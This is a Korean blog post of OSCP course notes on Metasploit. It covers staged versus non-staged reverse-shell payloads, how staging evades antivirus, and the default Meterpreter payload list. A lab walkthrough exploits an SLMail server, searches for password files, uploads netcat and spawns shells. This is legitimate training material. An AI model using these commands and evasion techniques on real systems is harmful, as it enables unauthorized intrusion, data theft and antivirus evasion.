16. - The Metasploit Framework
메타스플로잇에 대한 설명..주절절..
16.1 - Metasploit User Interfaces
두가지 인터페이스가 존재함
• msfconsole – console로 msf 접근하는 환경
• armitage - GUI로 msf실행 할 수 있는 써드파트 환경
16.6.1 - Staged vs. Non-Staged Payloads
Metasploit 페이로드에서 중요한 첫 번째 차이점 중 하나는 단계적 쉘 코드와 비 단계적 쉘 코드입니다.
다음 두 페이로드를 비교할 때 이에 대한 좋은 예가 있습니다.
windows/shell_reverse_tcp - Connect back to attacker and spawn a command shell
windows/shell/reverse_tcp - Connect back to attacker, Spawn cmd shell (staged)
비 단계 페이로드는 지금까지 한 번에 한꺼번에 전송되는 페이로드입니다.
단계적 페이로드는 일반적으로 두 부분으로 전송됩니다. 첫 번째 부분은 작은 기본 페이로드이며, 이로 인해 대상 컴퓨터가 공격자에게 다시 연결되고 나머지 쉘 코드를 포함하는 더 긴 보조 페이로드를 수용 한 다음 실행합니다.
비테이지드보다 스테이징 된 쉘 코드를 선호하는 몇 가지 상황이 있습니다.
• 우리가 악용하는 취약점에는 전체 페이로드를 보유하기에 충분한 버퍼 공간이 없습니다.
단계적 페이로드의 첫 번째 부분은 일반적으로 전체 페이로드보다 작기 때문에 이러한 작은 페이로드는 종종 빡빡한 상황에서 우리를 구할 수 있습니다.
• 안티 바이러스 소프트웨어가 익스플로잇에서 임베디드 쉘 코드를 감지하고 있습니다. 임베디드 쉘 코드를 단계적 페이로드로 교체함으로써 쉘 코드의 악성 부분을 대부분 제거하고 이를 대상 머신 메모리에 직접 주입합니다.
*구글링 추가내용
당신은 눈치 채지 못했을 것입니다, 그러나 당신이 사용할 대부분의 페이로드는 매우 비슷한 쌍둥이를 가지고 있습니다.
예를 들어, "windows / shell_reverse_tcp"와 "windows / shell / reverse_tcp"의 미묘한 차이점에 유의하십시오.
첫 번째는 unstaged,두 번째는 staged입니다. 다른 많은 페이로드와 동일한 명명 규칙이 표시됩니다.
스테이지와 스테이지의 차이점은 무엇입니까?
unstaged 페이로드를 사용하는 경우 전체 페이로드가 한 번의 전송되고 대상 시스템에서 실행됩니다.
즉, 간단한 netcat 리스너로 쉘을 잡을 수 있으며 제대로 작동합니다.
staged 페이로드를 사용하는 경우 Metasploit 멀티 핸들러를 사용하여 셸을 잡아야합니다. (시험에서는 허용됩니다). netcat 리스너를 사용하여 쉘을 잡으려고하면 연결이 수신 된 후 즉시 종료됩니다.
staged 페이로드는 작은 초기 페이로드이며 로컬 박스의 Metasploit handler에서 전체 페이로드를 다운로드합니다.
익스플로잇을 위한 공간이 충분하지 않을 경우 사용하면 좋습니다. 어느 것을 사용해야합니까? 그것은 당신에게 달려 있습니다.
버퍼오버플로의 세상에서는 때때로 하나는 작동하지만 다른 하나는 작동하지 않으므로 트릭을 모두 사용하는 것이 좋습니다!
16.6.2 - Meterpreter Payloads
Metasploit 사이트에 설명 된대로 Meterpreter는 런타임에 동적으로 확장 할 수있는 단계 식 다기능 페이로드입니다. 실제로 이것은 Meterpreter 셸이 파일 업로드 및 다운로드, 키로거 등의 내장 기능을 통해 일반 명령 셸보다 더 많은 기능을 제공함을 의미합니다.
그리고 피해자 시스템과 상호 작용하기 위한 더 많은 내장 루틴. 이들은 공격 후 단계에서 유용합니다.
이 추가 기능은 Meterpreter를 MSF에서 가장 일반적으로 사용되는 페이로드로 만듭니다.
다음으로 Meterpreter 페이로드를 살펴 보겠습니다.
Windows 7 랩 시스템의 SLMail 서버에서 사용합니다.
root@kali:~# msfconsole
msf > use exploit/windows/pop3/seattlelab_pass
(...exploit 선택 후 실행화면 생략..)
[*] Sending stage (752128 bytes) to 10.11.1.35
[*] Meterpreter session 1 opened (10.11.0.5:4444 -> 10.11.1.35:49163)
meterpreter >
(★중요★)
이 출력에서 주목할만한 몇 가지 사항이 있습니다.
• 페이로드를 선택하지 않았습니다. 사용자가 익스플로잇에 대한 페이로드를 지정하지 않으면 기본적으로 리버스 미터 프리터 페이로드가 사용됩니다.
• 미터프레터는 단계적 페이로드입니다. 두 번째 단계는 메모리에 직접 주입되는 750k DLL 파일입니다. DLL 파일이 대상 파일 시스템을 건드리지 않기 때문에 바이러스 백신 소프트웨어가이를 탐지 할 가능성이 적습니다.
Auto Selecting a Payload (내가 구글링해서 추가한 내용)
페이로드를 선택하지 않으면 자동으로 미터프리터 페이로드중 하나가 선택되어 실행된다.
다만, 해당 페이로드가 유효하지 않으면 sessions연결에 실패하게 된다.
이럴때는 수동으로 적합한 미터프리터 페이로드를 선택해줌으로써 Exploit에 성공할 수 있다.
Here's the list, sorted by the order in which they will be selected:
windows/meterpreter/reverse_tcp
java/meterpreter/reverse_tcp
php/meterpreter/reverse_tcp
php/meterpreter_reverse_tcp
ruby/shell_reverse_tcp
cmd/unix/interact
cmd/unix/reverse
cmd/unix/reverse_perl
cmd/unix/reverse_netcat_gaping
windows/meterpreter/reverse_nonx_tcp
windows/meterpreter/reverse_ord_tcp
windows/shell/reverse_tcp
generic/shell_reverse_tcp
16.6.3 - Experimenting with Meterpreter
몇가지 명령어 실행해보자.
meterpreter > sysinfo
meterpreter > getuid
meterpreter > search -f *pass*.txt
파일 업로드
meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec
(* 쉘 이스케이프로 인해 아래 표시된대로 대상 경로에 두 개의 \ 문자를 사용해야합니다.)
파일 다운로드
meterpreter > download c:\\Windows\\system32\\calc.exe /tmp/calc.exe
커맨드 쉘 전환
meterpreter > shell
Meterpreter 내에서 시스템 쉘을 생성 할 때 얻을 수있는 가장 큰 장점은 어떤 이유로 든 쉘이 죽어야하는 경우 (예를 들어, 쉘 내에서 대화식 명령을 내렸을 때 timeout되지 않는 경우) 간단히 Meterpreter를 종료 할 수 있다는 것입니다. 새 채널에서 셸을 다시 생성하십시오.
meterpreter > shell
Process 2640 created.
Channel 5 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Program Files\SLmail\System>ftp 127.0.0.1
ftp 127.0.0.1
^C <--- 쉘 반응이 없어서 강제 종료함
Terminate channel 5? [y/N] y
meterpreter > shell <--- 다시 쉘 연결 시킬 수 있음
Process 3392 created.
Channel 6 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Program Files\SLmail\System>
'OSCP > OSCP Course PDF' 카테고리의 다른 글
16. Metasploit-2 / Payload, msfvenom, Reverse HTTPS Meterpreter (0) | 2020.03.03 |
---|---|
7. Win32 Buffer Overflow Exploitation (0) | 2020.03.02 |
9. Working with Exploits (0) | 2020.02.27 |
10. File Transfers (0) | 2020.02.26 |
4. Active Information Scanning - 2 (0) | 2020.02.21 |